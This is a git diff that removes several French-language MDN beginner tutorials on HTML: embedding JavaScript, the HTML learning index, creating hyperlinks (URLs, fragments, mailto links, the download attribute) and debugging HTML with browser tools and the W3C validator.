Dans un navigateur, JavaScript ne fait rien « tout seul ». Il a besoin d'être lancé depuis les pages web HTML. Pour appeler du code JavaScript depuis votre document HTML, vous aurez besoin de l'élément {{htmlelement("script")}}. Il y a deux méthodes pour utiliser script : une qui sert lorsqu'on souhaite utiliser un script contenu dans un fichier tiers et une qui sert lorsqu'on intègre directement le code du script dans la page web.

- -

Faire référence à un script externe

- -

Généralement, un script est écrit dans un fichier .js à part. Pour exécuter un script depuis un fichier dans la page web, il suffira d'utiliser {{HTMLElement ('script')}} avec un attribut src pointant vers le fichier du script en utilisant l'URL du fichier :

- -
<script src="chemin/vers/le/script.js"></script>
- -

Inscrire le code JavaScript dans le document HTML

- -

Il est également possible d'insérer du code JavaScript directement dans la balise <script> sans fournir d'attribut src.

- -
<script>
-window.addEventListener('load', function () {
-  console.log('Cette fonction est exécutée une fois quand la page est chargée.');
-});
-</script>
- -

Cette méthode peut s'avérer pratique quand on n'utilise qu'un code très court. Cela dit, utiliser des fichiers séparés pour stocker le code JavaScript vous permettra :

- - - -

Utiliser les scripts de façon accessible

- -

L'accessibilité est un enjeu majeur du développement logiciel. JavaScript peut rendre un site web plus accessible lorsqu'il est utilisé correctement. Il peut aussi détruire toute trace d'accessibilité s'il est utilisé sans aucune considération. Voici quelques pratiques qui vous permettront de tirer le meilleur parti de JavaScript pour l'accessibilité :

- - - -

En savoir plus

- - diff --git a/files/fr/apprendre/html/index.html b/files/fr/apprendre/html/index.html deleted file mode 100644 index 1874018d97..0000000000 --- a/files/fr/apprendre/html/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: 'Apprendre le HTML : guides et didacticiels' -slug: Apprendre/HTML -tags: - - Apprentissage - - Débutant - - Guide - - HTML - - Introduction - - Rubrique -translation_of: Learn/HTML ---- -
{{LearnSidebar}}
- -
-
-

Pour créer des sites Web, vous devez connaître le {{Glossary('HTML')}} — technique fondamentale utilisée pour définir la structure d'une page Web. HTML est utilisé pour dire si votre contenu web doit être reconnu en tant que paragraphe, liste, en-tête, lien, image, lecteur multimédia, formulaire ou l'un des nombreux autres éléments disponibles ou même un nouvel élément à définir par vous même.

-
-
- -

Parcours d'apprentissage

- - - -

L'idéal serait que vous débutiez votre parcours d'apprentissage par l'étude du HTML. Commencez par lire Introduction au HTML. Vous pouvez ensuite passer à l'étude de sujets plus avancés comme :

- - - -

Avant de commencer ce sujet, vous devriez avoir au moins une connaissance de base de l'utilisation des ordinateurs et de l'utilisation passive du Web (c'est-à-dire juste le regarder, de consommer le contenu). Vous devriez avoir un environnement de travail de base tel que précisé dans Installer les outils de base, et comprendre comment créer et gérer les fichiers,comme détaillé dans Gérer les fichiers — ces deux articles font partie de notre module Commencer avec le Web dédié aux débutants.

- -

Il est recommandé de passer par Commencer avec le Web avant d'étudier ce sujet, mais ce n'est pas absolument nécessaire ; une grande partie de ce qui est couvert dans l'article Les bases du HTML est également couvert dans notre module Introduction au HTML, quoique beaucoup plus en détail.

- -

Modules

- -

Cette rubrique contient les modules suivants, dans l'ordre suggéré pour les parcourir. Vous devriez commencer par le premier.

- -
-
Introduction au HTML
-
Ce module prépare le terrain, en vous familiarisant avec les concepts importants et la syntaxe, en examinant comment appliquer le HTML au texte, comment créer des hyperliens et comment utiliser le HTML pour structurer une page Web.
-
Multimedia et intégration
-
Ce module explore comment utiliser le HTML pour incorporer du multimédia dans vos pages Web, y compris les diverses façons d'inclure des images, et comment intégrer de la vidéo, de l'audio et même d'autres pages Web entières.
-
Tableaux HTML
-
Représenter des sous forme de tableaux sur une page Web de manière compréhensible, {{Glossary("Accessibilité", "accessible")}}} peut être un défi. Ce module porte sur le balisage basique des tableaux, ainsi que des fonctions plus complexes telles que l'implémentation de légendes et de résumés.
-
Formulaire HTML
-
Les formulaires sont une partie très importante du Web — ils fournissent la grande partie des fonctionnalités dont vous avez besoin pour interagir avec les sites Web, par exemple enregistrement et connexion, envoi de commentaires, achat de produits et plus encore. Ce module vous permet de commencer à créer la partie des formulaires côté client.
-
- -
-
-

Résolution de problèmes courants en HTML

- -

Utilisation du HTML pour la solution de problèmes courants fournit des liens vers des contenus expliquant comment utiliser le HTML pour résoudre les problèmes très courants lors de la création d'une page Web : titrer, ajouter des images ou des vidéos, mettre en évidence du contenu, créer un formulaire de base, etc.

- -

Voir aussi

- -
-
-
HTML (HyperText Markup Language) sur MDN
-
Le portail de la documentation du HTML sur MDN, comprenant les références détaillées des éléments et des attributs — si vous voulez savoir, par exemple, quels sont les attributs d'un élément ou quelles valeurs peut prendre un attributif, c'est le bon endroit pour débuter.
-
-
-
-
diff --git "a/files/fr/apprendre/html/introduction_\303\240_html/creating_hyperlinks/index.html" "b/files/fr/apprendre/html/introduction_\303\240_html/creating_hyperlinks/index.html" deleted file mode 100644 index b334b15b2c..0000000000 --- "a/files/fr/apprendre/html/introduction_\303\240_html/creating_hyperlinks/index.html" +++ /dev/null @@ -1,333 +0,0 @@ ---- -title: Création d'hyperliens -slug: Apprendre/HTML/Introduction_à_HTML/Creating_hyperlinks -tags: - - Apprendre - - Codage - - Débutant - - Guide - - HTML - - Liens - - Title - - URL - - absolu - - hyperliens - - relatif -translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks ---- -
{{LearnSidebar}}
-{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML/formatage-avance-texte", "Apprendre/HTML/Introduction_à_HTML")}}
- -

Les Hyperliens sont vraiment importants, ils sont ce qui fait du Web une toile. Cet article montre la syntaxe requise pour faire un lien et discute des bonnes pratiques pour les liens.

- - - - - - - - - - - - -
Prérequis :Être familiarisé avec les bases du HTML, traitées à la page Commencer avec le HTML et du formatage de texte HTML, décrit dans les Fondamentaux du texte HTML.
Objectif :Apprendre à implémenter un hyperlien efficacement, et à relier de multiples fichiers ensemble.
- -

Qu'est-ce un hyperlien ?

- -

Les hyperliens sont l'une des plus passionnantes innovations que le web a à offrir. De fait, ils ont été une fonctionnalité du Web depuis le tout début, mais ils sont ce qui fait du Web une toile — ils nous permettent de lier nos documents à n'importe quel autre document (ou autre ressource) voulu ; nous pouvons faire des liens vers des parties précises de documents et rendre des applications disponibles à une simple adresse web (contrairement aux applications natives, qui doivent être installées et tout le travail). À peu près tout contenu web peut être converti en lien, de sorte que cliqué (ou activé autrement), il dirigera le navigateur vers une autre adresse web ({{glossary("URL")}}).

- -
-

Note : Une URL peut pointer vers des fichiers HTML, des fichiers textes, des images, des documents textuels, des fichiers vidéo ou audio et tout ce qui peut exister sur le Web. Si le navigateur Web ne sait pas comment afficher ou gérer un fichier, il vous demande si vous voulez ouvrir le fichier (dans ce cas, la responsabilité de l'ouverture et de la gestion du fichier incombe à l'application native adéquate sur l'appareil) ou bien télécharger le fichier (auquel cas, vous pouvez essayer de vous en occuper plus tard).

-
- -

La page d'accueil de la BBC, par exemple, contient un nombre important de liens pour pointer, non seulement vers de multiples articles d'actualité, mais encore vers d'autres zones du site (fonctionnalité de navigation) , des pages d'inscription/de connexion (outils utilisateur) et plus encore.

- -

frontpage of bbc.co.uk, showing many news items, and navigation menu functionality

- -

Anatomie d'un lien

- -

Un lien élémentaire se crée en intégrant le texte (ou tout autre contenu, cf. {{anch("Liens de niveau bloc")}}) que vous voulez transformer en lien dans un élément {{htmlelement("a")}} et en lui affectant un attribut {{htmlattrxref("href", "a")}} (également connu comme étant une Hypertext Reference) contenant l'adresse web vers laquelle vous voulez que le lien pointe.

- -
<p>Je suis en train de créer un lien à
-<a href="https://www.mozilla.org/fr/">la page d'accueil Mozilla</a>.
-</p>
- -

qui donne le résultat suivant :

- -

Je suis en train de créer un lien à la page d'accueil de Mozilla.

- -

Ajouter des informations d'assistance avec l'attribut title

- -

L'autre attribut qu'il est possible d'ajouter à un lien est title ; il est destiné à contenir des informations utiles supplémentaires à propos du lien, comme le type d'informations contenes dans la page ou ce qu'il faut savoir. Par exemple :

- -
<p>Je suis en train de créer un lien à
-<a href="https://www.mozilla.org/fr/"
-   title="Le meilleur endroit pour trouver plus d'informations sur la
-  mission de Mozilla et la manière de contribuer">la page d'accueil Mozilla</a>.
-</p>
- -

Voici le résultat (le contenu de title apparaît dans une info-bulle quand le pointeur de souris passe sur le lien) :

- -

Je suis en train de créer un lien vers la page d'accueil de Mozilla

- -
-

Note : le title d'un lien n'est révélé que lors du survol de la souris, ce qui signifie que les personnes utilisant les commandes clavier pour naviguer dans les pages web auront des difficultés à accéder aux informations de title. Si une information de title est vraiment importante pour l'utilisation d'une page, alors vous devez la présenter de manière accessible à tout utilisateur, par exemple, en la mettant dans le texte normal.

-
- -

Apprentissage actif : création de votre propre exemple de lien

- -

C'est l'heure de l'apprentissage actif : veuillez créer un document HTML avec un éditeur de code local (notre fichier modèle index.html fera parfaitement l'affaire).

- - - -

Liens de niveau bloc

- -

Comme mentionné précédemment, vous pouvez transformer à peu près tout contenu en un lien, même des éléments bloc . Si vous avez une image que vous voulez transformer en lien, vous avez juste à mettre l'image entre les balises <a></a>.

- -
<a href="https://www.mozilla.org/fr/">
-  <img src="mozilla-image.png" alt="logo mozilla pointant sur la page d'accueil mozilla">
-</a>
- -
-

Note : Nous vous donnerons beaucoup plus de détails sur l'utilisation d'images sur le Web dans un futur article.

-
- -

Une brève présentation des URL et des chemins

- -

Pour bien maîtriser les cibles des liens, vous avez besoin d'avoir compris ce que sont les URL et les chemins. Cette section vous donne les informations voulues pour y parvenir.

- -

Une URL, ou Uniform Resource Locator, est simplement une chaîne textuelle qui définit où se situe quelque chose sur le Web. Par exemple, la page d'accueil en anglais de Mozilla est située à l'adresse https://www.mozilla.org/en-US/.

- -

Les URL utilisent des chemins pour trouver des fichiers. Les chemins indiquent où dans le système de fichiers, se trouve celui qui vous intéresse. Regardons un exemple simple de structure de répertoires (voir le dossier creating-hyperlinks).

- -

Une simple structure de répertoire. Le répertoire parent s'appelle creating-hyperlinks et contient deux fichiers appelés index.html et contacts.html, et deux répertoires appelés projects et pdfs, qui contiennent respectivement un fichier index.html et un fichier project-brief.pdf.

- -

La racine de cette structure de répertoires s'appelle creating-hyperlinks. Quand vous travaillez localement sur un site web, vous avez un dossier contenant l'intégralité du site. Dans la racine, nous avons un fichier index.html et un contacts.html. Sur un site réel, index.html serait notre page d'accueil ou portail (page web servant de point d'entrée à un site web ou à une section particulière d'un site web).

- -

Il y a aussi deux répertoires dans la racine — pdfs et projects. Chacun d'eux comporte un seul fichier — respectivement un PDF (project-brief.pdf) et un fichier index.html. Notez que vous pouvez heureusement avoir deux fichiers index.html dans un projet, pour autant qu'ils se trouvent dans deux emplacements différents dans le système de fichiers. De nombreux sites web le font. Le second index.html peut être le portail des informations relatives au projet.

- - - -
-

Note : Vous pouvez combiner plusieurs instances de ces fonctionnalités dans des URL complexes si nécessaire, par ex. ../../../complexe/path/to/my/file.html.

-
- -

Fragments de documents

- -

Il est possible de faire un lien vers une partie donnée d'un document HTML (désignée du terme fragment de document), plutôt que juste le haut du document. Pour ce faire, vous devrez d'abord assigner un attribut {{htmlattrxref("id")}} à l'élément sur lequel vous voulez pointer. Il est généralement logique d'établir un lien vers une rubrique précise, ainsi cela ressemble à quelque chose comme :

- -
<h2 id="Adresse_mailing">Adresse de mailing</h2>
- -

Puis, pour faire un lien vers cet id précisément, il convient de l'indiquer à la fin de l'URL, précédé d'un croisillon (#) :

- -
<p>Vous voulez nous écrire une lettre ? Utilisez notre <a href="contacts.html#Adresse_mailing">adresse de contact</a>.</p>
- -

Vous pouvez même utiliser une référence au fragment de document seul pour faire un lien vers une autre partie du même document :

- -
<p>Vous trouverez n l'<a href="#Adresse_mailing">adresse de mailing</a> de notre société au bas de cette page.</p>
- -

URL absolue vs. URL relative

- -

Deux termes que vous rencontrerez sur le Web sont URL absolue et URL relative :

- -

URL absolue : pointe sur un emplacement défini de manière absolue sur le web, y compris en précisant le {{glossary("protocol","protocole")}} et le {{glossary("domain name","nom de domaine")}}. Ainsi par exemple, si une page index.html est téléversée dans le dossier nommé projects à la racine du serveur web, et que le domaine du site est http://www.example.com, la page sera accessible à l'adresse http://www.example.com/projects/index.html (ou même seulement http://www.example.com/projects/, du fait que la plupart des serveurs web cherchent pour le chargement une page d'accueil comme index.htm, si ce n'est pas précisé dans l'URL).

- -

Une URL absolue pointera toujours vers le même emplacement, quel que soit l'endroit où elle est utilisée.

- -

URL relative : pointe vers un emplacement qui est relatif au fichier à partir duquel vous établissez le lien, tout comme ce que nous avons vu précédemment. Donc, si nous voulons créer un lien depuis notre fichier d'exemple en http://www.example.com/projects/index.html vers un fichier PDF dans le même dossier, l'URL sera seulement le nom du fichier — càd., project-brief.pdf — pas besoin d'information supplémentaire. Si le PDF est disponible dans un sous-dossier de projects appelé pdfs, le lien relatif serait pdfs/project-brief.pdf (l'URL absolue équivalente serait http://www.example.com/projects/pdfs/project-brief.pdf.)

- -

Une URL relative pointera vers des emplacements différents en fonction de l'endroit où se situe le fichier qui est utilisé ; par exemple, si nous déplacions notre index.html du dossier projects vers la racine du site web (au niveau le plus élevé, dans aucun dossier), le lien de l'URL relative pdfs/project-brief.pdf qui s'y trouve pointerait alors vers un fichier situé en http://www.example.com/pdfs/project-brief.pdf, et non vers un fichier situé en http://www.example.com/projects/pdfs/project-brief.pdf.

- -

Bien sûr, l'emplacement du fichier project-brief.pdf et du dossier pdfs ne changera pas subitement du fait que vous avez déplacé le fichier index.html : cela aura pour effet que votre lien pointera vers un mauvais emplacement, de sorte que cela ne fonctionnera pas si on clique dessus. Vous devez être prudent !

- -

Meilleures pratiques de liens

- -

Il y a quelques bonnes pratiques à suivre pour l'écriture de liens. Jetons-y un coup d'œil.

- - - -

Utilisez une formulation claire des liens

- -

Il est facile de mettre des liens sur une page. Mais ce n'est pas suffisant. Nous devons rendre nos liens accessibles à tous les lecteurs, indépendamment de leur contexte d'installation et des outils qu'ils préfèrent. Par exemple :

- - - -

Regardons un exemple particulier :

- -

Bon texte de lien: Télécharger Firefox

- -
<p><a href="https://firefox.com/">
-  Télécharger Firefox
-</a></p>
- -

Mauvais texte de lien : Cliquer ici pour télécharger Firefox

- -
<p><a href="https://firefox.com/">
-  Cliquer ici
-</a>
-pour télécharger Firefox</p>
-
- -

Autres conseils :

- - - -

Utilisez des liens relatifs partout où c'est possible

- -

Compte tenu de la description ci-dessus, vous pourriez penser qu'utliser des liens absolus tout le temps est une bonne idée ; après tout, ils ne sont pas brisés si une page est déplacée, comme c'est le cas avec les liens relatifs. Mais, vous devez utiliser des liens relatifs partout où c'est possible pour pointer vers d'autres emplacements à l'intérieur d'un même site web. (pour les liens vers un autre site web, vous aurez besoin d'utiliser un lien absolu) :

- - - -

Liaison vers des ressources non-HTML : signalez‑les clairement

- -

Quand faites un lien vers une ressource à télécharger (comme un PDF ou un document Word ) ou lue en flux (comme une video ou de l'audio) ou qui a un autre effet potentiellement inattendu (qui ouvre d'une fenêtre pop-up ou qui charge une vidéo Flash), vous devez le signaler clairement pour réduire toute confusion. Cela peut être parfaitement ennuyeux, par exemple :

- - - -

Voici quelques exemples suggérant les genres de texte pouvant être employé :

- -
<p><a href="http://www.exemple.com/rapport-volumineux.pdf">
-  Télécharger le rapport des ventes (PDF, 10Mo)
-</a></p>
-
-<p><a href="http://www.exemple.com/flux-video/" target="_blank">
-  Regarder la vidéo (le flux s'ouvre dans un nouvel onglet, qualité HD)
-</a></p>
-
-<p><a href="http://www.exemple.com/jeu-de-voiture">
-  Jouer au jeu de voiture (nécessite Flash)
-</a></p>
- -

Utilisez l'attribut download pour faire un lien vers un téléchargement

- -

Quand vous faites un lien avec une ressource qui doit être téléchargée plutôt qu'ouverte dans le navigateur, vous pouvez utiliser l'attribut download pour fournir un nom d'enregistrement par défaut. Voici un exemple avec un lien de téléchargement vers la version Windows la plus récente de Firefox :

- -
<a href="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=fr-FR"
-   download="firefox-latest-64bit-installer.exe">
-  Télécharger la version de Firefox pour Windows la plus récente (64-bit)(français, France)
-</a>
- -

Apprentissage actif : création d'un menu de navigation

- -

Pour cet exercice, nous aimerions que vous reliiez ensemble quelques pages par un menu de navigation pour créer un web site multi-page. C'est une manière courante de créer un site web, la même structure de page est utilisée sur chaque page, y compris le même menu de navigation, de sorte que quand les liens sont cliqués, cela vous donne l'impression de rester au même endroit, tandis qu'un contenu différent est présenté.

- -

Vous aurez besoin de faire des copies locales des quatre pages suivantes, toutes dans le même dossier (voyez aussi le dossier navigation-menu-start pour une liste complète des fichiers).

- - - -

Vous devez :

- -
    -
  1. Ajouter une liste non-ordonnée à l'endroit indiqué sur une page, qui contiendra les noms des pages à relier. Un menu de navigation n'est habituellement qu'une liste de liens, donc c'est ok sur le plan sémantique.
    2. -
  2. Changer chaque nom de page en un lien vers cette page.
    3. -
  3. Copier le menu de navigation dans chaque page.
    4. -
  4. Sur chaque page, enlever seulement le lien vers cette page, c'est source de confusion et sans objet pour une page que d'inclure un lien vers elle-même, et l'absence d'un lien constitue un bon rappel visuel pour se souvenir sur quelle page vous êtes actuellement.
    5. -
- -

L'exemple terminé devrait finir par ressembler à quelque chose comme ce qui suit :

- -

Un exemple d'un menu de navigation HTML simple, avec les éléments page d'accueil, images, projets et menu des réseaux sociaux.

- -
-

Note : si vous êtes bloqué, ou n'êtes pas sûr d'avoir bien compris, vous pouvez vérifier le dossier navigation-menu-marked-up pour voir la réponse correcte.

-
- -

Liens de courriel

- -

Il est possible de créer des liens ou des boutons qui, losrqu'ils sont cliqués, ouvrent un nouveau message de courriel sortant plutôt que de faire un lien vers une ressource ou une page. C'est fait en utilisant l'élément {{HTMLElement("a")}} et le schéma d'URL mailto:.

- -

Sous sa forme la plus basique et la plus communément utilisée, un lien mailto: indique simplement l'adresse du destinataire voulu. Par exemple :

- -
<a href="mailto:nullepart@mozilla.org">Envoyer un courriel à nullepart</a>
-
- -

Ceci donne un résultat qui ressemble à ceci : Envoyer un courriel à nullepart.

- -

En fait, l'adresse de courriel est même optionnelle. Si vous l'omettez (c'est-à-dire, si votre {{htmlattrxref("href", "a")}} est simplement "mailto:"), une nouvelle fenêtre de courriel sortant sera ouverte par le client de courriel de l'utilisateur, sans adresse de destination encore spécifiée. C'est souvent utile comme pour les liens "Partager" que lesquels les utilisateurs peuvent cliquer pour envoyer un email à l'adresse de leur choix.

- -

Spécification des détails

- -

En plus de l'adresse mail, vous pouvez fournir d'autres informations. En fait, tous les champs d'en-tête standards peuvent être ajoutés à l'URL mailto que vous fournissez. Les plus couramment utilisés parmi ceux-ci sont subject, cc et body (qui n'est pas à proprement parler un champ d'en-tête, mais qui vous permet d'indiquer un court message de contenu pour le nouveau courriel). Chaque champ est indiqué en termes de requête.

- -

Voici un exemple incluant cc (carbon copy), bcc (blind cc), subject (sujet) et body :

- -
<a href="mailto:nullepart@mozilla.org?cc=nom2@rapidtables.com&bcc=nom3@rapidtables.com&subject=L%27objet%20du%20courriel&body=Le%20corps%20du%20courriel">
-  Envoyer un mail avec copie, copie cachée, sujet et corps de message
-</a>
- -
-

Note : La valeur de chaque champ doit être codée à la façon d'une URL, c'est-à-dire que les caractères non-imprimables (les caractères "invisibles" tels que les tabulations, les retours chariot et les sauts de page) et les espaces doivent être percent-escaped. Notez également l'utilisation du point d'interrogation (?) pour séparer l'URL principale des valeurs de champ et de l'esperluette (&) pour séparer chaque champ dans l'URL mailto:. C'est la notation standard des requêtes URL. Lire La méthode GET pour comprendre ce pourquoi la notation de requête URL est habituellement le plus souvent utilisée.

-
- -

Voici quelques autres exemples d'URL mailto :

- - - -

Résumé

- -

C'est tout pour les liens, du moins pour l'instant ! Vous reviendrez aux liens plus loin dans le cours quand vous en serez arrivé à les mettre en forme. Pour la prochaine étape HTML, nous reviendrons à l'analyse sémantique du texte et verrons quelques fonctionnalités plus avancées ou inhabituelles que vous trouverez utiles : le formatage avancé de texte est votre prochain arrêt.

- -
{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML/formatage-avance-texte", "Apprendre/HTML/Introduction_à_HTML")}}
- -

Dans ce module

- - diff --git "a/files/fr/apprendre/html/introduction_\303\240_html/debugging_html/index.html" "b/files/fr/apprendre/html/introduction_\303\240_html/debugging_html/index.html" deleted file mode 100644 index fe3176ca62..0000000000 --- "a/files/fr/apprendre/html/introduction_\303\240_html/debugging_html/index.html" +++ /dev/null @@ -1,193 +0,0 @@ ---- -title: Déboguer de l'HTML -slug: Apprendre/HTML/Introduction_à_HTML/Debugging_HTML -tags: - - Codage - - Débutant - - Erreur - - Guide - - HTML - - Validation - - débogage - - validateur -translation_of: Learn/HTML/Introduction_to_HTML/Debugging_HTML ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}}
- -

Écrire du code HTML, c'est bien, mais si quelque chose se passe mal, que faire pour trouver où est l'erreur dans le code ? Cet article vous indique divers outils pour vous aider à trouver et corriger les erreurs en HTML.

- - - - - - - - - - - - -
Prérequis :Être familiarisé avec les bases du HTML, traitées aux pages Commencer avec le HTML,  Fondamentaux du texte HTML et Création d'hyperliens.
Objectif :Apprendre les bases de l'utilisation des outils de débogage pour détecter des problèmes en HTML.
- -

Déboguer n'est pas un problème

- -

Quand on écrit du code , tout va généralement bien, jusqu'au moment redouté où une erreur se produit — vous avez fait quelque chose d'incorrect, donc votre code ne fonctionne pas — soit pas du tout, soit pas tout à fait comme vous l'aviez souhaité. Par exemple, ce qui suit montre une erreur signalée lors d'une tentative de {{glossary("compile","compilation")}} d'un programme simple écrit en Rust.

- -

Console montrant le résultat de la compilation d'un programme Rust avec guillemet manquant dans une chaîne textuelle dans une instruction d'affichage. Le message signalé est « erreur : guillemet double manquant dans la chaîne ».Ici, le message d'erreur est relativement facile à comprendre — « unterminated double quote string » : il manque un guillemet double ouvrant ou fermant pour envelopper la chaîne. Si vous regardez le listage, vous verrez println!(Salut, Ô Monde!"); il manque un guillemet double. Cependant, des messages d'erreur peuvent devenir plus complexes et plus abscons au fur et à mesure que le programme grossit et, même dans des cas simples devenir intimidants à quelqu'un qui ne connaît rien du Rust.

- -

Déboguer ne doit toutefois pas devenir un problème —  la clé pour être à l'aise lors de l'écriture et du débogage d'un programme réside dans une bonne connaissance à la fois du langage et des outils.

- -

HTML et le débogage

- - - -

HTML n'est pas aussi compliqué à comprendre que le Rust. HTML n'est pas compilé sous une forme différente avant que le navigateur n'ait fait son analyse et affiche le résultat (il est interprété, pas compilé). Et la syntaxe des {{glossary("element","éléments")}} HTML est sans doute beaucoup plus facile à comprendre qu'un « vrai langage de programmation » tel le Rust, le {{glossary("JavaScript")}} ou le {{glossary("Python")}}. La façon dont les navigateurs analysent le HTML est beaucoup plus permissive que celle des langages de programmation, ce qui est à la fois une bonne et une mauvaise chose.

- -

Code permissif

- -

Que voulons‑nous dire par permissif ? Et bien, quand vous faites une erreur dans du code, vous rencontrerez deux types principaux d'erreurs :

- - - - - -

HTML ne craint pas les erreurs de syntaxe, car les navigateurs l'analysent de manière permissive : la page s'affiche toujours même s'il y a des erreurs de syntaxe. Les navigateurs intègrent des règles indiquant comment interpréter un balisage incorrectement écrit, de sorte que vous obtiendrez toujours quelque chose à l'exécution, même si ce n'est pas ce que vous attendiez. Mais cela reste, bien sûr, toujours un problème !

- -
-

Note : HTML est analysé de façon permissive parce que, lorsque le Web a été créé pour la première fois, on a décidé qu'il était plus important de permettre aux gens de publier leur contenu que de s'assurer d'une syntaxe absolument correcte. Le web ne serait probablement pas aussi populaire qu'il l'est aujourd'hui, s'il avait été plus strict dans ses débuts.

-
- -

Apprentissage actif : étude avec un code permissif

- -

Voici le moment venu d'étudier le caractère permissif du code HTML.

- -
    -
  1. Primo, télécharchez notre démo debug-example et enregistrez‑le localement. Cette démo est délibérement écrite avec des erreurs pour que nous puissions les examiner (le balisage HTML est dit malformé, par opposition à bien-formé).
    2. -
  2. Ensuite, ouvrez‑le dans un navigateur. Vous verrez quelque chose comme ceci :Un simple document HTML intitulé « Exemples de HTML à déboguer » et quelques informations sur les erreurs HTML courantes, telles que les éléments non fermés ou mal imbriqués et des attributs non fermés.
    3. -
  3. Constatons que ce n'est pas terrible ; examinons le code source pour voir ce que nous pouvons en faire (seul le contenu de l'élément body est affiché) : - 
        <h1>Exemple de HTML à déboguer</h1>
-
-    <p>Quelles sont les causes d'erreur en HTML ?
-
-    <ul>
-      <li>Éléments non fermés : si un élément n'est <strong>pas
-          fermé proprement, ses effets peuvent déborder sur des
-          zones que vous ne souhaitiez pas.
-
-      <li>Éléments incorrectement imbriqués : imbriquer des
-          éléments proprement est également très important pour
-          que le code se comporte correctement.
-          <strong>caractères gras <em>ou gras et italiques ?</strong>
-          qu'est‑ce ?</em>
-
-      <li>Attributs non fermés : autre source courante de problèmes
-          en HTML. Voici un exemple: <a href="https://www.mozilla.org/>
-          lien à la page d'accueil de Mozilla</a>
-    </ul>
    -
    4. -
  4. Revoyons  les problèmes : -
      -
    • Les élements {{htmlelement("p")}} (paragraphe) et {{htmlelement("li")}} (élément de liste) n'ont pas de balise de fermeture. En voyant l'image ci‑dessus, cela ne semble pas avoir trop sévèrement affecté le rendu, car on voit bien où un élément se termine et où le suivant commence.
      • -
    • Le premier élément {{htmlelement("strong")}} n'a pas de balise de fermeture. C'est un peu plus problématique, car il n'est pas possible de dire où l'élément est supposé se terminer. En fait, tout le reste du texte est en gras.
      • -
    • Cette partie est mal imbriquée : <strong>caractères gras <em>ou gras et italiques ?</strong> qu'est ce ?</em>. Pas facile de dire comment il faut interpréter cela en raison du problème précédent.
      • -
    • La valeur de l'attribut {{htmlattrxref("href","a")}} n'a pas de guillemet double fermant. C'est ce qui semble avoir posé le plus gros problème — le lien n'a pas été mentionné du tout.
      • -
    -
    5. -
  5. Revoyons maintenant comment le navigateur a vu le balisage, par comparaison au balisage du code source. Pour ce faire, utilisons les outils de développement du navigateur. Si vous n'êtes pas un familier de l'utilisation des outils de développement du navigateur, prenez quelques minutes pour revoir Découverte des outils de développement du navigateur.
    6. -
  6. Dans l'« Inspecteur », vous pouvez voir ce à quoi le balisage du rendu ressemble : L'inspecteur HTML dans Firefox, avec le paragraphe de l'exemple en surbrillance, montrant le texte "Quelles sont les causes d'erreurs en HTML ? Ici, vous pouvez voir que l'élément de paragraphe a été fermé par le navigateur.
    7. -
  7. Avec l'« Inspecteur », explorons le code en détail pour voir comment le navigateur a essayé de corriger nos erreurs HTML (nous avons fait la revue dans Firefox ; d'autres navigateurs modernes devraient donner le même résultat) : -
      -
    • Les éléments p et li ont été pourvus de balises fermantes.
      • -
    • L'endroit où le premier élément <strong> doit être fermé n'est pas clair, donc le navigateur a enveloppé séparément chaque bloc de texte avec ses propres balises strong, jusqu'à la fin du document !
      • -
    • L'imbrication incorrecte a été corrigée ainsi : - 
      <strong>caractères gras
-  <em>ou caractères gras et italiques ?</em>
-</strong>
-<em> qu'est ce ?</em>
      -
      • -
    • Le lien avec les guillemets manquants a été illico détruit. Le dernier élément li ressemble à ceci : - 
      <li>
-  <strong>Attributs non fermés : autre source courante de problèmes
-en HTML. Voici un exemple :</strong>
-</li>
      -
      • -
    -
    8. -
- -

Validation d'un HTML

- -

Comme vous pouvez le voir dans l'exemple ci-dessus, il faut s'assurer que votre HTML est bien formé ! Mais comment ? Dans un petit fichier comme celui qui précède, il est facile de chercher dans les lignes et de trouver les erreurs, mais qu'en est-il d'un document HTML énorme et complexe ?

- -

La meilleure stratégie consiste à faire passer votre page HTML par le Markup Validation Service (Service de validation de balisage) — créé et maintenu par le W3C, l'organisation s'occupant des normes définissant le HTML, les CSS et autres technologies web. Cet outil Web accepte un document HTML en entrée, le parcourt et fait le rapport de ce qui ne va pas dans le HTML soumis.

- -

La page d'accueil du validateur HTML

- -

Pour définir le HTML à valider, vous pouvez donner une adresse web (Validate by URI) , téléverser un fichier HTML (Validate by File Upload) ou entrer directement du code HTML (Validate by Direct Input).

- -

Apprentissage actif : validation d'un document HTML

- -

Essayons cet outil avec notre document exemple.

- -
    -
  1. D'abord, chargez le Markup Validation Service dans un des onglets du navigateur, si ce n'est déjà fait.
    2. -
  2. Basculez sur l'onglet Validate by Direct Input.
    3. -
  3. Copiez la totalité du code du document (pas uniquement l'élément body) et collez-le dans la grande zone de texte affichée dans Markup Validation Service.
    4. -
  4. Pressez le bouton Check.
    5. -
- -

Cela vous donnera une liste d'erreurs et autres informations.

- -

La liste des résultats de la validation de HTML par le service de validation du W3C.

- -

Interprétation des messages d'erreur

- -

Les messages d'erreur sont généralement utiles, mais parfois non ; avec un peu de pratique, vous trouverez comment les interpréter pour corriger votre code. Passons en revue les messages d'erreur et voyons leur signification. Chaque message est accompagné d'un numéro de ligne et de colonne pour faciliter la localisation de l'erreur.

- - - -

Si vous ne comprenez pas ce que signifie chaque message d'erreur, ne vous inquiétez pas — une bonne idée consiste à corriger quelques erreurs à la fois. Puis essayez de revalider le HTML pour voir les erreurs restantes. Parfois, la correction d'une erreur en amont permet aussi d'éliminer d'autres messages d'erreur — plusieurs erreurs sont souvent causées par un même problème, avec une sorte d'effet domino.

- -

Vous saurez que toutes vos erreurs sont corrigées quand vous verrez la bannière suivante dans la sortie :

- -

Banner that reads "The document validates according to the specified schema(s) and to additional constraints checked by the validator."

- -

Résumé

- -

